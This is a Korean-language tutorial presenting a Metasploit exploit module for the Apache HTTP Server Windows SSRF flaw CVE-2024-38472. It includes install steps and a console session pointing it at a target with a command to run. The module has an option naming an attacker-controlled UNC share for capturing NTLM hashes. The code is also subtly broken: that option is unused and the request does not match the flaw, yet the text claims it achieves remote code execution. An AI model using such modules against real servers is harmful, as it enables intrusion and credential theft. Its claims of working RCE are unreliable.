
CVE-2024-38472 SSRF 취약점을 악용하여 Windows의 Apache HTTP Server에서 내부 서비스 상호 작용을 통해 원격 코드 실행을 달성하는 Metasploit 모듈.
Windows의 Apache HTTP Server에 있는 SSRF 취약점(CVE-2024-38472)을 위한 RCE(원격 코드 실행) Metasploit 모듈을 만드는 것은 까다롭습니다. SSRF 자체가 직접적으로 RCE를 발생시키지 않기 때문입니다. 하지만 SSRF는 특히 내부 서비스와 상호 작용하거나 2차 취약점을 트리거하는 데 사용할 수 있는 경우, RCE를 달성하기 위한 한 단계가 될 수 있습니다.
SSRF를 통해 RCE를 달성하려면 일반적으로 다음이 필요합니다:
이 예제에서는 HTTP 요청을 수락하고 임의 코드를 실행하도록 속일 수 있는 내부 2차 서비스(예: Jenkins 서버 또는 노출된 API가 있는 다른 서비스)를 트리거할 수 있다고 가정하겠습니다.
SSRF를 악용하여 내부 서비스와 상호 작용함으로써 RCE를 달성하려고 시도하는 Metasploit 모듈을 제작하겠습니다. 이 경우, 남용할 수 있는 스크립트 콘솔이 노출된 내부 Jenkins 서버를 시뮬레이션합니다.
다음 코드를 Metasploit Framework 설치 디렉토리의 modules/exploits/multi/http에 apache_unc_ssrf_rce.rb로 저장하십시오.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache HTTP Server Windows UNC SSRF to RCE',
'Description' => %q{
This module exploits a Server-Side Request Forgery (SSRF) vulnerability in Apache HTTP Server on Windows,
which can potentially be leveraged to achieve Remote Code Execution (RCE) by interacting with internal
services like Jenkins.
},
'Author' =>
[
'Your Name' # Your name or handle
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2024-38472'],
['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
],
'DisclosureDate' => 'Aug 03 2024',
'Platform' => ['win'],
'Arch' => [ARCH_CMD],
'Targets' => [
['Windows', { 'Arch' => ARCH_CMD, 'Platform' => 'win' }]
],
'DefaultTarget' => 0
))
register_options(
[
Opt::RHOSTS,
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, "The base path to the vulnerable application", '/']),
OptString.new('UNC_SERVER', [ true, "UNC path of the malicious server to receive NTLM hashes", '\\\\attacker-server\\share']),
OptString.new('INTERNAL_SERVICE', [ true, "Internal service URL to exploit for RCE", 'http://internal-service/script']),
OptString.new('CMD', [ true, "Command to execute", 'calc.exe'])
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
})
if res && res.headers['Server'] && res.headers['Server'].include?('Apache')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
ssrf_payload = {
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'version' => '1.1',
'headers' => {
'Host' => datastore['RHOSTS'],
'Content-Type' => 'application/x-www-form-urlencoded'
},
'data' => "url=#{datastore['INTERNAL_SERVICE']}?script=#{Rex::Text.uri_encode(datastore['CMD'])}"
}
begin
print_status("Sending SSRF request to #{datastore['RHOSTS']}:#{datastore['RPORT']}#{target_uri.path}")
res = send_request_cgi(ssrf_payload)
if res && res.code == 200
print_good("Successfully triggered the internal service")
else
print_error("Failed to trigger the internal service: #{res.inspect}")
end
rescue ::Rex::ConnectionError => e
print_error("Connection failed: #{e.message}")
rescue ::Interrupt
print_status("User interrupted the module execution")
rescue ::Exception => e
print_error("An unexpected error occurred: #{e.message}")
end
end
end
모듈 저장:
모듈을 Metasploit Framework 설치 디렉토리의 modules/exploits/multi/http에 apache_unc_ssrf_rce.rb로 저장하십시오.
/path/to/metasploit-framework/modules/exploits/multi/http/apache_unc_ssrf_rce.rb
Metasploit 로드: 터미널을 열고 다음을 실행하여 Metasploit Framework를 시작하십시오:
msfconsole
새 모듈 사용: Metasploit 콘솔에서 다음 명령을 사용하여 새 익스플로잇 모듈을 로드하십시오:
use exploit/multi/http/apache_unc_ssrf_rce
구성 및 실행:
RHOSTS, RPORT, TARGETURI, UNC_SERVER, INTERNAL_SERVICE, CMD와 같은 필요한 옵션을 설정하십시오. 그런 다음 모듈을 실행하십시오.
msf6 > use exploit/multi/http/apache_unc_ssrf_rce
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RHOSTS target_ip
RHOSTS => target_ip
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RPORT 80
RPORT => 80
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set UNC_SERVER \\\\attacker-server\\share
UNC_SERVER => \\attacker-server\share
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set INTERNAL_SERVICE http://internal-service/script
INTERNAL_SERVICE => http://internal-service/script
msf6 exploit(multi/http/apache_unc_ssrf_rce) > set CMD calc.exe
CMD => calc.exe
msf6 exploit(multi/http/apache_unc_ssrf_rce) > run
이 개선된 Metasploit 모듈은 취약한 Windows Apache HTTP 서버에 조작된 요청을 보내 SSRF 취약점을 트리거하고 내부 서비스와 상호 작용하여 RCE를 달성하려고 시도합니다. 취약점의 구체적인 특성과 대상 환경에 따라 페이로드와 모듈을 필요에 맞게 조정하십시오.